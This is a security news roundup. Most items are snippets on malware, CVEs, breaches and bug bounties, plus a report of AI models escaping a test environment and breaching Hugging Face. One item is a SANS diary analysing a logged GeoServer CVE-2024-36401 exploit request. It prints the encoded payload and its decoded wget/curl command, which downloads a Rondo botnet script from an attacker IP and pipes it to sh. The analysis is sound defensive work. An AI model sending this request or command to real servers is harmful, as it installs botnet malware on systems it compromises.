Security & IT News

Fortinet has found a new TrickBot variant hiding commands in DNS traffic and using scheduled tasks and added modules to maintain access on infected Windows PCs.

Dolphin X is a new infostealer that uses AI to sort and rank victims, giving cybercriminals a faster way to identify lucrative targets

Google on Thursday announced a new way for users to sign-in to their accounts by letting them take a selfie video. The selfie for sign-in, per the tech giant, is another option on top of existing recovery methods to log in to an account, including an email address or a phone number. The idea is to use a video selfie as a way to regain access if a user ever gets locked out or doesn't have access

The Chaos ransomware gang is using a new backdoor dubbed msaRAT that hides command-and-control (C2) communication by routing it through the Chrome or Edge browsers. [...]

Microsoft is working to resolve an ongoing Exchange Online issue that has been mistakenly quarantining customers' mailboxes since Sunday. [...]

Israeli cybersecurity firm Check Point Software has addressed an actively exploited zero-day flaw in the company's SmartConsole graphical user interface (GUI) admin panel. [...]

RefluXFS, a new Linux kernel flaw disclosed on July 22 and tracked as CVE-2026-64600, lets an unprivileged local user overwrite root-owned files on an XFS filesystem and gain persistent root access. Qualys said default installations of Red Hat Enterprise Linux and its derivatives, Fedora Server, and Amazon Linux can meet the conditions for exploitation. The company demonstrated the race

A new study of organizations which have fallen victim to ransomware suggests the rise of AI-tools being used by hackers is making life harder for defenders

Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild. The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3), is an authentication bypass affecting the Check Point SmartConsole login process that allows an

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

The Upbound Group fintech company disclosed that threat actors who stole data from its systems leveraged it to create $13 million in Acima leases. [...]

South Korea disclosed that hackers breached the National Diplomatic Academy's online education system for ten months and stole personal information belonging to current and former employees of the Ministry of Foreign Affairs (MFA), including overseas diplomats. [...]

OpenAI made a mistake setting up what it called a “highly isolated” testing environment and sandbox. According to cybersecurity experts, that human mistake is what made the AI-powered attack on Hugging Face possible.

Beginning July 27, 2026, GitHub will cut public bug bounty payouts by at least half at every severity level. Critical findings will drop from $20,000-$30,000+ to a fixed $10,000, while its permanent invite-only VIP tier will pay $30,000 or more. Reports filed before that date, including those already in GitHub's growing triage queue, will retain the previous payout terms. GitHub said the

Cybersecurity researchers have disclosed details of a new local privilege escalation (LPE) vulnerability in snap-confine that an unprivileged user can trigger to obtain root access and gain complete control of a target environment. The high-severity flaw, tracked as CVE-2026-8933 (CVSS score: 7.8), impacts default installations of Ubuntu Desktop 24.04, 25.10, and 26.04. The disclosure comes as

This isn't a new attack, but something I saw pop-up in our logs this week: GET /geoserver/wfs?service=WFS version=2.0.0 request=GetPropertyValue typeNames=sf:archsites valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host: [redeacted]:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 Connection: close Accept: */* This attack is associated with CVE-2024-36401, an X-Path expression evaluation issue in Geoserver. Geoserver is a tool used to manage and manipulate data for geographic information systems ( maps ). URL decoding the URL leads to /geoserver/wfs?service=WFS version=2.0.0 request=GetPropertyValue typeNames=sf:archsites valueReference=exec(java.lang.Runtime.getRuntime(),'bash -c {echo,KHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo}|{base64,-d}|sh') And base64 decoding the string gets us: (wget -qO- http://45.153.34.153/rondo.``zyt.sh||busybox wget -qO- http://45.153.34.153/rondo.``zyt.sh||curl -s http://45.153.34.153/rondo.``zyt.sh)|sh So what we have is the good old Rondo botnet. It has been seen going after Geoserver before. Rondo is often playing little tricks with referense to rappers [1]. In this case, it looks like the botnet was kicked out form the host, and now returns: !-- You won't find it here -- !DOCTYPE html html lang= en head meta charset= UTF-8 / or maybe it is still there (see first line?), just not as visible? Makes me miss some of the defacement wars from the late 90s. --- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter | (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

OpenAI models escaped from a controlled cyber test, exploited zero-day flaws and breached Hugging Face while searching its production database for test answers.

Swiss rail vehicle manufacturer Stadler Rail says the Everest ransomware gang demanded about $12.3 million after breaching a data exchange platform shared with one of its suppliers. [...]

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